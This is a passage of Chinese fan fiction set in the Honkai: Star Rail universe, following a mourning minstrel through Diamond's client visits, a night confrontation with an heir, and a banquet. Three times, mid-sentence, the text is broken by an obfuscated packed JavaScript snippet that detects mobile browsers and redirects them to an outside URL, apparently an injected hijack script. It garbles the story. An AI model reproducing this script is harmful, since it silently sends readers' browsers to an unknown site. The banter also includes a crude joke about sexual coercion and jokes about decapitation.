“天上之城的人并不能摆脱他们在地上时就拥有的欲望。”翡翠冰冷的指尖抚过合同上的文字,“甚至正因为如此,他们愈加不能满足。” “有欲望也不全是坏事……它使人不至于滑向虚无。”悲悼伶人开口说,“但太多的欲望使人滑向深渊。” “听起来你深有体会。”翡翠笑着说。 “……” 悲悼伶人神色恹恹地承认说:“我曾认识一位这样的人。她过去是一名自灭者兼混沌医师,后来成了假面愚者。” 而现在她已身死,却成为了我的噩梦。不定时跳出来,使我仿佛精神病。 悲悼伶人吞下了后半句话。 他们很快抵达了天上之城。翡翠领着他一路穿行。 他们从繁荣走到偏僻,从簇新走到破旧,仿佛穿过了疯牛的发家历史。 翡翠在一间荒凉的小诊所前停步。 她礼貌地叩门,不轻不重,一下长,两下短。 开门的是一位身穿身穿护士服的中年女子。她态度殷勤地把翡翠迎了进去,指着最里层的床尾说:“您要找的人就在那里。” 翡翠含笑道谢,迈步朝她指示的方向走去。 离得近了,伶人才看清楚那张床上躺着的青年女子。 她正在输液,但看不出患病的迹象。相反,她看起来十分魁梧。 此刻她那张饱满的脸颊上正散发着难以言喻的青春活力,一双眼睛迸射着快乐的明光。 她一看见翡翠,就立刻激动地从床上直起身子:“翡翠女士!” “上午好,黛尔。”翡翠温和地微笑,打招呼说,“不必这么激动,躺下吧。” 她感激地躺了下来,像个孩子一样指着自己的脸和手臂说:“您快看!我有肌肉了!我不再是——” “恭喜。”翡翠微笑着鼓掌,“我是来收取代价的。” 她的欣喜仍然不变,干脆地在翡翠带来的合同上签了字,仍然沉浸在满心的亢奋之中。 翡翠和伶人走出诊所的时候,她仍在一连声地道谢。 “……” 等到两人走出了她的视野范围,悲悼伶人问: “她罹患的是危急生命的绝症吗?” “并非。”翡翠直言说,“她只是不能忍受羸弱的自己。就像有些人不能忍受丑陋的自己,因此愿意用所有财产向我交换美丽的脸……” “疯牛们的规则一向如此。”翡翠评价说,“就像曼陀罗们追逐美丽,他们追逐力量。” “……” 悲悼伶人默不作声。 翡翠合上合同,微笑着说:“好了,那么接下来我们去见第三位客户吧。这一位客户来自毒蛇派系,是一位小有所成的企业家。” “他向您索求何物?”伶人慢吞吞地问。 “他事业有成,名利双收……若要问他身边的人,他一定是一等一的成功人士。”翡翠说,“但可惜,凡事皆有代价。他为了自己的事业忽视了自己的孩子。以至于那个孩子如今成为了无药可救的瘾|君|子……” “……”伶人低声说,“他请您挽救他的孩子?” “比这更甚。”翡翠微笑,“他请我挽救他的孩子,修复他儿子因吸食|毒|品而毁坏的身体,并要求了更多——他希望修复和儿子的关系。” “您收取了什么代价?”伶人问。 “他的全部财产。”翡翠回答说。 “……”伶人问,“他宁愿将这份希望寄托在您身上,也不愿意凭借自己的努力拯救自己的孩子?我想这件事不是非您不可。” 翡翠微笑:“因为他做不到,而我可以,就是这么简单。” 伶人再一次陷入沉默。 他安静地跟随在翡翠身后,从云上城市出发,下到地面,越过曼陀罗的属地,飞跃至毒蛇派系的地盘。 一片极具现代科技感的城市。空间被极大程度地利用,鳞次栉比的摩天高楼切割着头顶的天空,街道间穿行的人仿佛在巨大的峡谷之间行走。 他们走进这些别无二致的高楼中的一幢。 翡翠带着他乘坐直升的电梯,一直坐到这摩天高楼的顶层。 一位员工领着他们来到一间有着巨大落地窗的办公室内,推开门。 房间内,身穿西装的中年男子从办公椅上起身,复杂地看着翡翠: “慈玉女士。” “上午好,”翡翠微笑,直入主题说,“我来收取代价。” 他微略点了点头,接过翡翠递出的合同,潦草地写下自己的名字。 “我不同意!!” 一个声音忽然怒吼。 旋即一个骨瘦如柴的身影闪电般冲进来,抓起桌子上的文件愤愤地撕扯着,嘴里咆哮说: “老东西,从来就没管过我,现在也不要你管!!” “你!”中年男子又气又急地冲上去按住他的手,“放下!放下!!” 翡翠犹如置身事外一般微笑,直到抱团扭打的两人逐渐力竭,年长的那位怀抱着年轻的那个老泪纵横,这位女士才不紧不慢地表示: “契约已成,也就再无反悔的余地……你我都是。” 于是那个年轻人也在怔愣中失声痛哭。 悲悼伶人沉默地注视着狼藉一片的现场,在静默三秒之后,转身跟上翡翠朝外的步伐。 ———————————————————— 在接下来这短短的半天内,公司的石心十人如她最开始所说那样,向他展示了伊伊玛尼喀的众生万象—— 祈求美貌的曼陀罗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056406|146755||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少女,索求钱财的失意创业家,希望得到爱情的单恋者,希望取得成功的寂寂无名者…… 在这趟短暂旅途的最后,翡翠带着他回到慈玉典押。 这位从容优雅的女士坐回帷幕之后,笑着说: “请坐,伶人。现在我们可以继续未完的谈话了。” 悼歌抬眼看着翡翠,依言坐下。 翡翠微笑,问:“美妙的时光总是短暂。在这趟同行之后,我想你对我的行事风格有了更加清晰的认知,也对公司的力量有了更深刻的了解……” “……” “人们常说金钱并非万能,”伶人慢吞吞地回答说,“但富有到您这种地步,它和万能几乎没有什么区别。” “而和您做交易,”伶人直视着翡翠摄人心魄的蛇瞳,直言不讳地说,“……就如同饮鸩止渴。有所得必有所失——但在您的天平上,这两者不能持平。您得到的只会更多。” “他们得到了想要的,”伶人抚摸着自己的拐杖,“也失去了他们珍视的。” “……” 翡翠低沉地轻笑出声。 “准确的认识。”翡翠微笑,摊手,“不过,我另有一个交易之外的问题。” “伶人,你认为你所拥有的一切中,何物最为珍贵?”翡翠托着下巴,蛇瞳盯着伶人,微笑问。 “……” 悲悼伶人思索片刻后,慢吞吞地回答: “……也许有两样。” “哦?”翡翠感兴趣地问,“第一样是?” 悲悼伶人回答:“朋友。” 翡翠微笑,继续问:“那么你认为你的朋友价值几何?” “无价之物。”悲悼伶人毫无犹豫地回答。 “呵呵……那么第二样呢?” “……”悲悼伶人垂下眼睛,说,“灵魂。” “而你的灵魂又价值几何?” “一文不值。”悲悼伶人说。 “罕见的回答。”翡翠点了点自己的合同,“看来生死对你来说并不重要。难怪你不为所动。” “……” 悲悼伶人坦诚说:“在您提出能治好我的时刻……有一瞬间,我的确在为您提出的交易而动摇。但我真正想要的并非超越个人的生死。” “我已经死过一次,”悲悼伶人看着自己的拐杖,“如今我从死亡复返。我有一个必须经由自己的手实现的愿望——或说代偿,因此我无法安心地闭上眼睛。” “而你来到伊伊玛尼喀,也是为了这个愿望?”翡翠含笑问。 悲悼伶人承认说:“一半的原因是为了这个愿望。” “一半的原因。那么另一半呢?” “另一半的原因……”悲悼伶人说,“为我的使命。” “悲悼伶人的使命之一,”他说,“就是记录即将发生的死灭。为步入终末的英雄谱写悲剧,为即将熄灭的星星献唱哀歌。” “……” 翡翠若有所思地问:“所以,你认为伊伊玛尼喀即将步入死灭?” “……” 悲悼伶人的神情安静下来。 “我会阻止这种可能发生。”他冷静地说,“在我死去之前,伊伊玛尼喀不会先我一步熄灭。这就是为什么摩根勒菲女士邀请我来到此地。” 38.三十八、最后平静 又折腾了半天的悲悼伶人终于和翡翠道别,重新回到他暂时落脚处。 他快刀斩乱麻地告知摩根勒菲已经解决了翡翠这边的问题,又简短地与她核对和生日宴上的注意事项以及突发情况的备案,终于在和镜子中的摩根勒菲道别后骤然松懈,感到血气倒灌,心脏几乎停跳。 “……” 悲悼伶人按在冰冷的洗漱台边缓解,顿时为连续熬了三天夜而后悔不已: 熬夜是猝死的高发病因,像他这样熬夜,说不定他的死亡原因会是猝死。 他伸手去够随身携带的药瓶,但有一只手快他一步。 “亲爱的忒利斯提斯,”那只手将药瓶递到他的手边,“我听见你的心脏停跳了——熬夜的福报啊。” “……” 悲悼伶人接过药瓶,取出一粒。 另一只手递上一杯温水。 悲悼伶人就着此人的手抿了一小口润喉,接着吞下一大口服下胶囊药丸。 他感受到冰冷的身体重新回温。 “谢谢……”悲悼伶人焉焉地道谢,自我反省说,“的确不应该熬夜。下次不会再如此……虽然我不确定有没有下次。” “你就仗着阮梅还对你感兴趣,使劲地作死吧。”愚者放下水杯,坐在床边,托着下巴,笑眯眯地说,“但我绝对不是要批评你。作死其实是欢愉命途的经典精神之一!不过你的确应该睡觉了。” “睡眠带来快乐,忒利斯提斯,”愚者一本正经地说,“所以匹诺康尼那么受欢迎!它们不仅提供睡眠服务还提供做梦服务,如果不是那里归家族管我也想去玩玩……” “……”悲悼伶人困倦地打了个哈欠,意识模糊地说,“在我们……解决星核之后……但是要等到玻璃光带的……” “哎呀,”假面愚者拍了拍床,“我不过随口一说。你的上眼皮在殴打你的下眼皮,快睡吧。” 悲悼伶人沉重地点头,如亡魂般飘到床上,躺下,嘱咐说: “……除非伊伊玛尼喀下一刻就要毁灭,不然请不要再叫我起来……” 他说完这一句话,不消片刻,就呼吸悠长地陷入沉眠。 “放心,放心。”愚者欢快地将窗帘拉上,在一片昏黑中悄声说,“即便伊伊玛尼喀下一刻就要毁灭,我也不会叫你起来的。” ——————————————————————-—— 这一觉无梦安眠。 等到悲悼伶人睁开眼睛的时候,天色已经暝暝昏黑。 他睁眼的时候,假面愚者正搬着个凳子坐在床边玩一把水果刀。寒光闪闪的刀刃在他的指间像蝴蝶一样翩飞,又被他稳稳握住。 愚者握着水果刀咔嚓咔嚓地将一个苹果削干净,一边啃一边含糊地说: “你醒了?你一觉睡了72小时,伊伊玛尼喀都毁灭了。” 悲悼伶人不甚清醒的脑子顿时让他大惊。 “哈哈!” 愚者笑出声来,又因为这声笑被喉咙里的果肉呛住。 他一边笑一边呛,一边把没咬过的半个苹果递给悲悼伶人:“你真信了?忒利斯提斯,我记得你不是傻瓜啊。” “……” 悲悼伶人接过半个苹果,冷静下来,捂着脑袋说:“我睡昏头了。现在是什么时候了?” “晚上九点。”愚者啃完了苹果,把苹果的核也咔嚓咔嚓地嚼碎,“你还可以继续睡。反正摩根勒菲的生日在明天。” “……” 悲悼伶人顿时无法原谅自己:“我居然颠倒昼夜,在白天睡觉到晚上九点……我原定计划——” “有何不可?”愚者摊手,笑眯眯地说,“你怎么还在纠结悲悼伶人的苦修信条啊?人生苦短,及时行乐。” 悲悼伶人掀开被子,起身,整理着装,说:“不是没有道理。但世事易改,我心难移。要让我抛弃这些信条比杀了我还难受……你就当是我数不清的坏毛病之一吧。” “话不能这么说,”愚者自然而然地跟在悲悼伶人身后,“我就觉得这是优点!” “……” 深知他性格的伶人毫无波澜地问:“因为这让你成功地捉弄我多次?” “哎呀。”愚者遗憾地说,“你把话说完了我说什么?” “……” “每次我因为你说的话而感动的时候,”伶人消沉且不意外地摩挲拐杖,“你就会这样说。这样的把戏玩多了之后,实在很难不懂你的下一句台词。” “不用谢!”愚者完全忽略了后半句话,只听了个“感动”,于是笑吟吟地说,“谁让我如此慷慨,如此贴心。我这样的朋友可真是打着灯笼也难找——阿哈对阿基维利也不过如此。” “?” “我此前不知道祂们是朋友。”伶人一边在微凉的夜色中散步,一边沉思,“祂们原来是朋友吗?” “不是。”愚者极快极坚决地否认,“他们是cp。和巡猎的岚与丰饶药师的cp组合并列‘最受欢迎的星神cp’排行榜第一!” 伶人:“?” 他花了一点点时间来理解愚者的话,并为内容震撼。 “……仙舟联盟打过来的话,我该怎么替你开脱?”伶人头疼地预想了一下他替愚者和帝弓七天将公堂对簿而愚者看热闹不嫌事大地给他添乱的场景,顿时觉得前景一片灰暗,他说,“你真的不是在客串虚构史学家吗?药师和岚,祂们是死敌啊。” 愚者笑眯眯地说:“就是因为祂们是死敌所以这对组合才有人气啊!吸引人的cp关系究竟如何?答案一定是扭曲的感情!混乱的关系!血流成河的大场面!所谓爱就是恨,恨就是爱!两个人要历经闹掰、和好、再闹掰、再和好、再闹掰、再和好——如是往复八百次!然后他们的真心才算是真真正正地经受了考验于是在大结局的时刻修成正果……” “这就是时下最潮流的cp要素,”愚者一本正经地科普总结说,“相爱相杀。” 悼歌:“……” 悲悼伶人说:“你在这方面了解得令我害怕。” “别害怕,”愚者说,“其实我是支持阿哈做0的。我会收藏每一个开拓x欢愉的同人产出并赞美作者。这才叫乐子呐。” 悼歌:“……?” 悼歌:“不是这个问题。” 悲悼伶人忍了三秒,终于忍不住指出:“但是,容我插嘴,阿哈做0岂不是更可怕了?……不,我也不是想让祂做1。我的意思是祂出现在cp之中就很可怕……” 悲悼伶人越是试图理清楚,越感到言语的匮乏,最终只好郁郁地说:“这世界终于癫了。” 愚者又难以抑制地笑出声音。 他的笑声戛然而止。 愚者直起身来看向小径的远处,眯起眼睛,若有所思:“哎呀……看来今天晚上睡不着的不只是你。” 他拍了拍伶人的肩膀,轻轻留下一句“我先走咯”,身形如烟一样消失。 悲悼伶人抬眼看向小径的尽头。 彼端站着的,是摩根勒菲选定的继承人。 他想找的人自己送上了门来。 —————————————— “……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068654|146755||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悲悼伶人拄着拐杖,隐没在花木形成的自然阴影中,如世界之外的旁观者一般观察这位继承人。 此刻,那位继承人站在小径另一端的黑暗中,惨白的月光落在他半边脸颊,照得这位和摩根勒菲有九分相似的青年毫无人气,宛如厉鬼。 他的视线落在那些在月光下静谧的繁花上,久久不能移开。紫色的眼珠因缺乏光线,在伶人的视角看来近乎全黑。 悲悼伶人不动声色地注视着他,脑海中难以避免地回想起,上午和翡翠的谈话—— “伶人,在你离开之前,我还有一件事要告诉你。” “……?” “你是为摩根勒菲而来见我,但你可知道,求我替摩根延寿的那位曼陀罗成员,实际上奉行的是另外一人的意志?” “……我的确有过这样的猜想。但请您说得更清楚一些,为我解惑。” “是摩根勒菲选定的继承人。他通过那位成员,成功和我搭线,得到了公司的援助。不过现在我有了更好的合作者,那就是你。” “……” “你熟知伊伊玛尼喀的历史,那么你是否清楚——” “三十年前在两大派系之战里新生的派系,如今的毒蛇,它的领头羊好不风光!谁能想到,毒蛇的领袖曾是摩根勒菲收养的孩子?” “……” “看来摩根勒菲并未将陈年旧事告诉你。” “……” “别误会,我不是在挑拨离间。摩根勒菲,她是个优秀的领袖……但她挑选孩子的眼光的确有些问题——三十年前,她选定的继承人在派系之战中背叛了她,另立门户,成就现在的第三大派系……三十年后,这历史竟然有重演的倾向。” “恕我直言。仅从功利主义的动机来说,这不成立。拜勒是摩根勒菲指定的继承人,而摩根勒菲已然不久人世。他没有必要背叛。” “你便如此肯定吗,伶人?你想得到的理由只会比我更多。” “……您想说他也和疯牛一样,试图抛弃伊伊玛尼喀驶向宇宙?您想说他已经不满足于继承而得到财富,他希望更多?” “你看,你不是能找到理由么?” “……” “我已经将事情的原委告诉你了。是否告知摩根勒菲完全取决于你自己——但也有可能,那位美丽智慧的揽镜人也许比你更清楚背后的操手是谁呢?” “为什么告诉我这些?” “因为你值得这笔投资,伶人。战略投资部鲜少做赔本的买卖,希望你……也不要令我失望。” 悲悼伶人一边回忆,一边观察彼端之人。 这位继承人,他的能力得到过摩根勒菲的承认,这证明他并不蠢笨。他理当知道,去到翡翠面前意味着什么——不管是因为什么而去到翡翠面前,重点始终都只在翡翠代表着公司势力本身。他得到了翡翠的援助,暗中囤积武器……他在谋划什么? 他会是第二个叛徒吗? ……如果他是,摩根勒菲死前又该多么伤心呢。 悲悼伶人回想起一个永恒的辩题:善意的谎言是否值得提倡?如果拜勒真是叛徒,那么向摩根勒菲隐瞒这一事实会更好吗?向一个将死之人撒谎以确保她安详离世,这到底应该定义成关怀,还是傲慢? 如果……此人是个叛徒。 悲悼伶人垂眼看向自己的拐杖。 如果此人是个叛徒……他可以用一曲影响心智的魔曲,在此制住拜勒。让叛徒这一身份直到摩根勒菲死去都无法败露。 而等摩根勒菲安然合眼,他就杀死这忘恩负义之徒。 39.三十九、乱心魔曲 等悲悼伶人回过神来发现自己在想什么的时候,他的指节已经在敲击骨白的拐杖,奏出一段魔音的前奏。 悼歌:“……” 他犹豫一秒后,干脆决定一不做二不休,先制住对方再说。 悲悼伶人清了清嗓子,就着魔音的前奏低沉轻柔地唱道: “声乐之星,曾经仙境。弦歌泠泠无断绝,献上镜中女王。 “纯美垂怜赠予天穹镜壁隐匿踪迹,文明之外无人打扰。 “陶瓷骑士音符雨,欢歌盛宴吟游礼,镜中眼眸玫瑰勋章……功业荣耀,无尽辉煌,皆归司美之主、镜中女王。 “声乐之星,曾经仙境。弦歌泠泠无断绝,献上镜中女王。 “……纯美垂怜赠予天穹镜壁隐匿踪迹,文明之外无人打扰。 “追随之誓万世不改,追随之主形影消。 “声乐之星,曾经仙境,弦歌泠泠无断绝…… “……一夕坍圮倾倒。 “镜壁坍塌,仙境破碎。流浪遗民哭唱家乡歌谣。 “听者皆问【门达希亚】现在何处,歌谣唱至末尾遗民哭诉—— “声乐之星,曾经仙境,弦歌泠泠无断绝…… “已在贪饕之腹。” 彼端站立者闻声望过来。 他礼貌地等待悲悼伶人唱完,最后一个音节在空中悠悠坠地,才快步从远处走过来,鼓了鼓掌,严肃地绷着脸说: “您的歌声很美。” “……” 伶人客气地说:“过奖。”实际上这是用来防止你背叛的魔曲。虽然你现在还未察觉。 伶人将后半段话吞进肚子。 “您刚刚唱的是什么?”拜勒问。 “门达希亚的纯美之歌。在它被星际巨兽吞噬殆尽的时刻,悲悼伶人曾驾驶贡多拉搭救幸存者。那些幸存者为了答谢救命之恩,将他们的民谣告诉了悲悼伶人。悲悼伶人们在改编的基础上谱成此曲。”悲悼伶人回答。 “……”拜勒陷入一阵沉默。 悲悼伶人观察着他脸上的神情,另起话题,问: “您似乎睡不着。是有心事吗。” 拜勒似乎未曾预料伶人会这样问,颇有些意外。 很快他就收拾了表情,低声说: “我……也许是在紧张。” “紧张。因为明天的生日宴吗?”伶人说,“人之常情。” “不……”拜勒的视线又移向小径两旁,“是别的事情。” 伶人的视线也落在那些植株上。 叶面怪奇的龟背竹和红叶朱蕉、散尾葵、红豆杉疏密有当地装点着空间,在白天里,浓烈鲜艳的绿色和红色构成沉静而生机勃勃的图景,但在惨白的月光下,这些植株变成了魔幻怪诞氛围的一部分,仿佛从其中随时会钻出一个色彩艳丽的怪物。 伶人数着龟背竹叶面的洞口,慢吞吞地开口说: “我想以您的能力和才智,并不需要过分紧张。毕竟摩根女士曾多次向我夸赞您。她说,您是她引以为傲的继承人,什么都好,只是给了自己太大的压力。” “……” 拜勒脸上浮现出一种十分复杂的情绪,似喜似悲,欲哭无泪。 伶人偏头,观察的目光在他的脸上一寸寸扫过。 他对摩根勒菲的敬爱不似作假。悲悼伶人判断。 悲悼伶人想了想,冷不丁地贴脸放大说: “我听说您让人去和翡翠做了交易。” “……” 拜勒微微睁大了紫色的眼睛。 他很快承认说:“是。” 他态度坦然,毫无被揭穿之后的窘迫感,反而有种早有准备的从容。 “恕我冒昧……您是第二个曼陀罗的叛徒吗?您是在企图效仿先验者的经验吗?”伶人直白挑明,浅蓝色的眼睛直视拜勒。 拜勒踌躇片刻,避开伶人的眼睛,低声说:“您知道毒蛇的事情了。” “现在毒蛇派系的领袖,曾经是祖母收养的孩子。他天赋卓绝,神思敏捷,是众人眼中的天才……但是他背叛了曼陀罗……” “而我是三十年前的战争造就的遗孤——我的父母,也许战死了,也许还活着,只是抛弃了我。时至今日,我仍然不知道他们的样子。” “为了挽回我的生命,祖母在纯美的神躯(超验之镜)前向我分享她的血……”拜勒神情压抑地按压着那副和摩根勒菲有九分相似的脸,“但是,继承了她的血的我……我并不像祖母称赞的那样。我天资愚钝,不通人情世故……但祖母相信我能做好。为此我愿意付出十倍于旁人的努力,但我——” “……” 拜勒忽然止住话头,神情纠结,几度开口又闭上,最终不愿再说,只苍白地说: “——我没有背叛曼陀罗。” “……” 悲悼伶人慢吞吞地说:“我为您的遭遇惋惜。可是您刚刚所说,并没有足够的说服力来证明你不是叛徒。” “您和翡翠接头。您得到来自公司的援助——在摩根勒菲不知情的情况下。”伶人慢吞吞地说,“这是我得知的事实,您却不做解释。” 拜勒张了张嘴,还想说什么,但伶人继续说: “但抛开事实不谈,我相信您。毕竟我也希望如此。” 悲悼伶人的指节有节奏地敲击着拐杖,发出规律的“笃笃”响声。黑暗中浅蓝色的眼睛像幽幽反光的一块镜面,魔幻怪奇的植株似乎在他背后张牙舞爪地动了起来,龟背竹叶面上的洞口正在变成张口大笑的癫狂笑面。 伶人直白地挑明: “实话告诉您。先前那首歌对您的脑子有些影响。它是这样运作的:如果您不是叛徒,那它就只是一支无害的歌谣。而如果您接下来做出背叛之举,它将从您的脑袋深处爬出来啃噬您的大脑,带来悲伤和恐惧的剧痛,直到您成为它的傀儡……” 悲悼伶人轻声说: “我来到伊伊玛尼喀的时间太短,我无法一一验证您到底在公司的援助下做了哪些布置,又意欲何为……只有出此下策。我很抱歉,也许我应该先听听您的解释。我很抱歉,也许我不该插手摩根女士的家事。” 悲悼伶人在心底懊悔地反省自我:三思而后行!他甚至还没想清楚那个“善意谎言是否值得提倡”的辩题,他的手就已经在敲击音律。肌肉记忆真是要不得!下次定不再如此。 悲悼伶人无声叹息。他又做了多余的事情。先前那个脑子一热的想法实际上并没有实施的空间——无论如何,摩根勒菲都要知道的。因为这是她选定的接班人,如果他死了,那么他的缺位本身就成了一个大问题…… 但那些都留待后话吧。至少,等明日过后…… “……” 伶人的思路百转千回,而拜勒并不知情。他在黑暗之中凝视悲悼伶人,面孔苍白,像尊雕塑。 悼歌收拢思绪,点头道别,礼貌地说:“夜深了,该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14081199|146755||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡觉了。再见,祝您能做个问心无愧的好梦。” ———————————— 第二日如期而至。 悲悼伶人终于调整回自己的作息,在清晨6时准时睁眼,按过往一贯的习惯洗漱整理仪容仪表。 在他对着镜子整理头发的时刻,愚者坐在床边百无聊赖地玩着水果刀,又给自己削了一个苹果,哀嚎说: “无聊,无聊啊!!你知道吗忒利斯缇斯,昨天晚上什么都没有发生。我到处找乐子试图制造混乱,结果所有人都睡着了。没有观众的独角戏毫无趣味!” “今天会很热闹。”伶人慢吞吞地安慰说,“你喜欢的角色都会到场。” “不错。”愚者把第十个削干净的苹果放在他搭好的苹果塔塔尖,满意地扳着手指数道,“翡翠。砂金。银狼。卡芙卡。摩根勒菲。拜勒。毒蛇。疯牛。你。我。” “说起来,”愚者忽然想到了什么,笑眯眯地说,“你难道不觉得疯牛这个名字很好笑吗?” 伶人一边对抗自己顽强的额发,一边问:“好笑在哪里?” “好笑在他本身!”愚者哈哈大笑,一本正经地说,“在世界之外,一处任何探测仪器也寻找不到的星球上,曾经有过这样一本漫画,它里面画了这样一个情节——” “哇!”愚者宛如发癫一般发出鸱鸮怪叫,“原来是四个穿着很少布的大只佬!咸湿的眼神,□□的笑意,乞撚人憎的动作,已知他们是基佬中的极品了!” 伶人:“……?” 悲悼伶人转过头去看了看愚者,迟疑地问:“这是那本漫画里的台词?听起来不太健全。” “很不健全。”愚者恢复正常,笑眯眯地说,“这段台词来自这漫画中最广为人知的情节——疯牛之终极侮辱。梗概是‘疯牛’逮住了一个可怜的异性恋男子,为侮辱他,派了四个同性恋大只佬强制和他进行生命的大和谐运动。” “……” 伶人沉寂良久,仿佛凝固的一尊雕塑。半晌他找回他的语言功能,问:“这个疯牛,是同步轨道庄园上那个?” “不是。这个疯牛是漫画中的人物。”愚者否定后,想了想,笑眯眯地说,“不过搞不好其实是?为宇宙编写剧本的编剧太喜欢玩梗啦,忒利斯缇斯。玩梗带来快乐。这就是为什么我说欢愉是寰宇的终极答案!因为这个宇宙是个游戏,游戏做出来就是为了要让人们笑的。” “我已多次听过这个理论。”悲悼伶人悲观地说,“我只希望编写剧本的编剧不要那么恶趣味——目前我还没听说同步轨道庄园上那位疯牛有‘派四个大只佬和人强制进行生命大和谐运动‘的事迹……我希望这个情节永远不要发生。” “何必怕他。”愚者拿起另一个苹果,在上面雕刻阿哈的面具,“只要你想,杀了他之后咱们能把他的脑袋割下来当皮球踢。我上次去同步轨道庄园找乐子的时候看过了,他的后脑勺还挺圆呢。” “……” 悲悼伶人真心实意地说:“你的描述使我两听起来比星核猎手还要邪恶。” “哈哈。”愚者笑出声音,把雕刻着阿哈面具的苹果啃得面目全非,说,“我开玩笑的。你真的想要这样的皮球吗?我可以给你偷一个酒馆珍藏款——据说那个皮球是阿哈最喜欢的皮球之一,用阿哈的第一千三百八十一个脑袋做成!” “……” 悲悼伶人再次真心实意地说:“谢谢,很奇特,很有心意。我不要。” 40.四十、鸿门宴,噩兆现 愚者再一次哈哈大笑。 在他笑的时间里伶人整理好自己的头发,对着镜子确认每一根发丝都在它们应该在的位置,说: “好了。在这出戏剧正式开始之前还有一点点时间,你想要先去看看……自机角色们吗?” “算了。”愚者灵巧地弹射起身,揣着拐杖递给伶人,说,“咱们悄悄混在宾客群里去吃东西吧,有乱动也能第一时间发现。对了,曼陀罗是不是很会做甜食?我喜欢甜口。” “……” 伶人回想了一下曼陀罗菜系那致死量的甜度,中肯地说: “曼陀罗菜系的确很甜。是你会喜欢的甜度。” 愚者立刻掏出一张面具按在脸上:“好!也算没白来。走吧走吧。” 伶人慢吞吞地将另一张面具按在脸上,两人毫无必要地做贼般朝着宴会的主场溜去。 ———————————————————— 宴会主场的装饰继承了曼陀罗一贯的风格。魔幻的植株和鲜艳的繁花点缀在各处,馥郁的暖香在空气中熏得人昏昏欲睡。各种种族的宾客在此理所当然地纷纷登场:悼歌放眼一看,就看见脑袋是金属的智械、没有他膝盖高的皮皮西人、长着狐狸耳朵的狐人、四只脚的天马星人……好一个群魔乱舞。 因此在这群群魔乱舞的宾客中,他和愚者变得如此不起眼。 愚者大摇大摆地糟蹋过每一盘可以入口的餐品,每一样都只取最好吃的部分: 混沌云芝的伞盖、摇滚菠萝的脑子、云间肉排的触手、腐化异木果实的表皮…… 伶人谨慎地盯着愚者放在他盘子里云间肉排触手,看它们不甘心地愤怒蠕动。 伶人:“……” 他简直无从下口,不由说: “我记得星空生态学派考察过,这种菜肴使用的原材料生物和穹桑的刺胞生物有显著的基因相似性……你确定这真的能吃吗?” (穹桑是丰饶民造翼者的故乡) 愚者一边嚼嚼嚼一边含糊地说:“能吃,就是有点难嚼。哇,忒利斯缇斯你肯定想不到,以前我说食物在嘴里打人只是个夸张的修辞——但云间肉排的触手真的在我的嘴里打我。怪好玩的。” 伶人在沉默中绕开云煎肉排的触手,转而挑选了混沌云芝的伞盖。 “!!” 入口的一瞬间整个寰宇都奇妙地在他眼前昏暗下去,巨大的瑰丽黑洞旋转旋转,在他的视野中心炸开,像个万花筒一样开始变化。 伶人捂着脑袋眨眼,怀疑这朵混沌云芝没有煮熟。 有一只手递给他一杯水。 “……谢谢。”伶人接过这杯水。 而递给他水的女人温柔微笑,富有韵律的嗓音轻快地回答说:“不客气。” “……”愚者斜视过来,“哎呀。卡芙卡。” “你们好呀。”星核猎手眨了眨眼睛,优雅地打招呼,“很久不见。” “好久不见,好久不见!”愚者皮笑肉不笑地把伶人拉到自己身边,“你好有胆量哇,卡芙卡。公司通缉你的信用点有十个0,我看了都忍不住心动!你就这样出现在这里,不怕被人逮住去换钱吗?” 伶人摩挲着拐杖,在心底思索是否要先发制人。他评估了一下在这里开打的种种后果,决定先不要这样做。 而听到愚者的话,卡芙卡只是摊开手微笑,说: “对你我这样的人而言通缉令上的数字只是一种赞誉。数字越大,赞美越盛。” “厉害。”愚者敷衍地说,“你到底干嘛来的?星核也不在这,还没到你出场呢。” “剧本之外的事情是我的自由。”卡芙卡礼貌地表示,“倒是你们,银狼已经提醒过你们快走了,你们却不领情。这让她伤心了很久。” 悲悼伶人在脑海中想象了一下银狼伤心的样子,最终也只能想象出她连输7把游戏抱着游戏机痛哭。 悼歌挥散这无厘头的想象,慢吞吞地说:“请替我向她说抱歉。” “但既然星核不在这,这又是你们剧本之外的余兴节目,那我认为我们现在还不是敌人……” “来都来了,您吃菜吗?” 悲悼伶人把装着云间肉排触手的盘子递到卡芙卡面前,真诚地问。 ———————————————————— 于是他们的试吃队伍里加进来一位星核猎手。 卡芙卡挑了一样看起来五彩斑斓的花朵品尝,评价说: “太甜了。曼陀罗的食品都放了致死量的糖,我实在欣赏不来。” 